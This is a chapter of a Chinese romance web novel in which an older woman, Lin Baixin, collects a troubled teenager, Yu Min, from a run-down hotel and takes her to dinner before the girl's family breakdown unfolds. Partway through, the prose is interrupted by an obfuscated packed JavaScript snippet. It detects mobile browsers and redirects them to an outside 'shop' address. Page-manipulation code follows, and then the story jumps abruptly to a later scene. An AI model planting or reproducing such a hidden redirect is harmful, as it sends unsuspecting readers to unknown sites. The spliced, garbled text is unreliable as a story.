19.chapter 019
作品:《暗恋原则》 深夜的街道冷清,宾馆的位置相对偏僻,车子的到来打破了长久的沉寂,于闵愣神了片刻才倏地转身,赶紧扒着脏旧的窗户向下瞧,对方修长高挑的身形透过玻璃印入眼中,她不敢相信,盯着看了两下,接着才敢推开窗户。
林白辛一身正式的装扮,白衬衣搭配西裤细高跟,头发也盘起来了,弄了干练的造型,整个人优雅气质,显然是刚忙完过来。
一上一下相隔,林白辛很快注意到这边的动静,应声看过来,发现了于闵在哪个房间。
目光相接的一刹那,于闵迟钝的神经终于腾地恢复如初,立即转身往下跑,开门、穿过走廊、下楼梯……一口气从三楼下到一楼,冲向路边。
烈烈的风呼啸在耳畔,灌进喉咙,跑太快了,等到停下来又上气不接下气。
于闵没敢离太近,在离林白辛一米远的地方及时停下,下来了,还是一言不发地望着对方,好像是自己的幻觉,一会儿才怔怔讲:“你怎么来了?”
车门还没关,林白辛一只手搭上面,明着坦白:“来找你。”
“啊”了声,于闵讲话都有点喘不过气,强行憋了憋,压下心口过于快速的跳动:“有什么事吗?”
林白辛不回,反过来问:“你一个人住这儿?”
于闵话到嘴边停住,不清楚该如何讲明前因后果,她自己都还是乱的,双唇翕动,卡壳半晌才说:“只是今晚住这里,明天就不是了。”
好在林白辛没再问别的,转而开门见山:“上去拿东西。”
于闵转不过弯儿,下午到现在的一连串变故搅得她思绪都糊涂了,以至于眼下没法儿正常思考。
拿东西干什么?
是要干嘛?
林白辛随后说:“今晚去我那里。”
“哎……”
“明早我再送你回去。”
于闵一下子顿悟,傻了吧唧的,跟挤牙膏似的挤一下才动一下,马上就要上去。林白辛拉着她,和她一起去。她猛地察觉到上面屋里的环境,以及隔壁那俩不晓得结束没有……莫名不太想让林白辛见到这些,今晚的一切都乱糟糟的,她觉得难为情,更多的是尴尬,于是挣开了林白辛,逃开一样地往回折返。
“你不去,我去,马上下来!”
飞奔上楼,实际没啥东西要拿,只有一个包,外加先前拿出来的充电器。于闵动作麻利,两三下收拾妥,住这家宾馆还交了一百的押金,老板就在楼下,经过大堂,老板正在躺椅上打瞌睡来着,于闵押金都不要了,懒得要,一门心思离开这个破地儿,头也不回,再也不想来第二次。
林白辛还在原地等着,没有上车,待她跑近了顺手打开副驾驶的门。
于闵上去,车子开出一段路,想起来问一嘴:“你什么时候到的?”
“晚上,七点多。”林白辛说,余光瞥到她干瘪的书包,不由得皱眉,但没立马说什么,继续再开出一两公里,等红绿灯了,轻言细语,“吃饭没有?”
肯定没吃,时间来不及。可于闵张口说:“吃了的。”
可惜谎言撑不过一会儿,可能是突然提到这个,身体的本能反应就来了,肚子不应景地咕噜叫了两下。
打脸说来就来,于闵登时像被掐住命门一般僵住,无所适从地抓抓衣角,继续圆谎硬着头皮添道:“但是吃得少,当时没胃口,吃不下。”
讲这话她自己都没底气,撒谎到一半转开了脸,不敢看林白辛。
打半圈方向盘,转弯。林白辛不拆穿她,临时改路线,朝另一边开。
“想吃什么?”
于闵摇头,怕耽搁对方,浪费时间。林白辛才刚到四平没多久呢,应该早点回去休息。
“不吃了,我不……”
“我也饿了。”林白辛抢在前头说,“我还没吃饭,中午就吃了半个面包,下午赶飞机,到现在都还没吃。”
于闵随即哑声,嘴巴动了动,听到林白辛竟然这么辛苦,心头有些复杂。
这么着急赶飞机,是为了回来办什么事,还是怎样?
她不清楚,但多半不是为了办事情,七点多才到四平县,这么晚了还能办什么事,有事也得等明天了,明天的事没必要忙到饭都吃不上。
不由自主用手指卷卷衣角边,于闵忽然脑子又转起来了,抿了下唇,低低嗯了一声。
林白辛说:“好像剑南道那边的大排档还可以,路安推荐的,要不去试试?”
于闵这才松口:“……好。”
去的一家广式砂锅海鲜粥店,新店,晚上客人不多,有包间能坐。
她们要的包间,点了一份海鲜拼盘两份牛肉和蔬菜,外加三碟小吃。于闵想吃肠粉和咖喱鱼蛋,林白辛又叫了一碟豉汁蒜蓉蒸排骨,两个人真饿了,能吃。
“你们学校考完试了?”林白辛边烫菜,边倒水,递一杯到于闵面前。
于闵说:“考完了,今天下午最后一门。”
“不是这周末才开考?”
“周一开考的。”
“那我搞错了时间。”林白辛再给自己倒一杯喝的,“周晋说你们是周末考试,我一直以为是周末。”
周晋上了高中成绩一落千丈,整天学习都学不明白,记错考试时间简直是他的常规操作,那小子只有打游戏脑袋才好使,平时差远了,废物草包一个。
于闵用公筷夹了颗鱼丸放林白辛碗里,不说周晋的坏话,也只字不提郑清还有今天的遭遇,肠粉只有一份,她重新拿了个干净的碟子,拨半份过去。
林白辛同样不说不该说的,讲了讲她这学期在做些什么,以及这趟回来的行程。
当然,每次分开了双方就自动失联,那更不需要解释。
林白辛二十好几了,她没必要,也不应当向于闵这个未成年报备这些,严格意义上来讲,她俩本就是一般的熟人,还没熟到那个份上。再有,各有各的生活,于闵当下的重点是学习考试,而林白辛则是在奔赴未来前程的路上,彼此完全不搭边,中间有联系反而不合适,有时候边界感很重要,关心也得适度。
有一搭没一搭地聊,粥底鲜香,于闵挺爱吃虾,中途又加了一盘。
“我想考京都的大学。”剥出一尾虾肉,于闵抬了抬眼,告诉林白辛这事。
“哪个大学?”林白辛接。
“现在还没想好,不过应该就定那边了。”
“什么专业?”
“可能是医学。”
“那就是X大,按你的成绩来看。”
于闵说:“我不一定考得上,分太高了。”
林白辛鼓励:“如果后面两年都能保持,应该问题不大。”
点点头,于闵再吃了片牛肉,粥清淡,但肉很滑嫩入味,比学校食堂的大锅饭美味太多了。她又半垂下眼,视线落到锅里,思忖须臾,再跟进一步:“那你让我去吗?”
林白辛明显没理解到她问这话的深层含义,或者是没多想,顺口就回:“你想去就去,京都蛮可以的,适合年轻人发展,而且以后要是想回锦城,这边的医院也认X大那边。”
捏紧筷子,力道收了松,松了又收,于闵不吭声了,接不下去。
粥底
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983615|192774||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
火锅吃了一个多小时,后面到和园已经快凌晨,于闵算准了时间,保险起见明早五点半就得起,最迟六点出门过去,不然郑清如果早些回去肯定会露馅。
六点出门太早,她不让林白辛送,表示自己可以打车。
“我送你,正好我也要出去,差不多就是那时候。”林白辛坚持,见于闵犹豫,补充了一句,“我估计五点多就要起来,还比你早一点。”
于闵这才答应坐她的车,不拧巴了。
翌日是大雾天,早上的露水湿重,即便是夏天都挺冷的。出门前林白辛找了身薄长袖给于闵:“披着,过两天还我。”
于闵没报准确的地址,让在路口停车,要下去了转头闷声闷气的,想说点什么,可话全堵喉咙里了,上不来。
过后一言不发下的车,倒是林白辛丢一份三明治给她,让吃早饭。
和园开车到这边十几分钟,她们五点四十出的门,下车还不到六点,然而当于闵上楼,还是晚了。
郑清回来了,不清楚哪个时候到的。
房子里不开灯,天蒙亮,开门后冷不丁一转身发现不远处站着一个人,于闵没做好心理准备吓了一大跳,三明治都没拿住啪地掉地上了。
郑清冷声质问:“你去哪里了?”
于闵心理素质还算硬,慌乱了一瞬又稳住心神,骗她:“买早饭去了,没去哪儿。”
“买早饭能买一个多小时?!”郑清不好忽悠,语调尖锐,“我回来你就不在,四五点你去哪里买这个?”
于闵从容,愣是没露出一丝破绽,耐心说是饿得睡不着,所以醒得早,这周围确实没有卖吃的,她便走很远的便利店买的三明治,一来一回就一个多小时了。
理由天衣无缝,合情合理。
郑清立马偃旗息鼓,可沉默了没一会儿,还是又训斥于闵,昨晚不是给了她订餐电话的吗,是当时没订餐,还是几个小时就饿了,饿得那么快?
于闵表示没有订餐,昨晚不饿就没吃,果不其然又是劈头盖脸一顿数落,郑清强势,叨叨念了一大通,再三确认于闵没有找于盛聿,并且之后还给于盛聿打了电话,当知道于盛聿昨天出差去了,才放过于闵。
老房子收拾出来就那个样,其实还是住不了人,家具都坏了,全屋换新更费事。
郑清白折腾一晚上,之后还是带于闵住的酒店。
郑清的担忧纯属多余,于盛聿怎么会来找于闵,她就是发神经,多半是搞离婚搞得压力大,人都压力出毛病了。
只要于闵听话,郑清就是正常的,天一大亮,郑清变回了原来的样子,于闵感觉她应该是没那么火大了,不得罪她,估计就没什么事。
然而事实证明这是错的,错得离谱。
郑清变正常不是因为别的,而是她的男友,郑清带于闵去见那个男人,笑着介绍那是她的初恋,她的真爱,极尽温柔和气地让于闵喊对方“叔叔”。
哦还有,郑清怀了真爱的孩子,刚查出来的。
于闵没喊,开不了口。
比于闵更接受不了现实的是于盛聿,不出三天,远在外地出差的于盛聿连夜赶回四平县,郑清竟然还能像没事人带她的新男友去见于盛聿,搞得像上门见什么家人似的,要请于盛聿吃饭。
这顿饭自是没吃成,于盛聿当场就和那男的打了起来,郑清怀孕了还敢冒险冲上去帮忙,再后来,于盛聿的姘头不知怎么找到的这边,场面一发不可收拾。
那天,是大姑他们赶来制止了这场荒唐闹剧,林白辛也来了,于闵站她跟前,难堪,抬不起头,脸白得像纸。

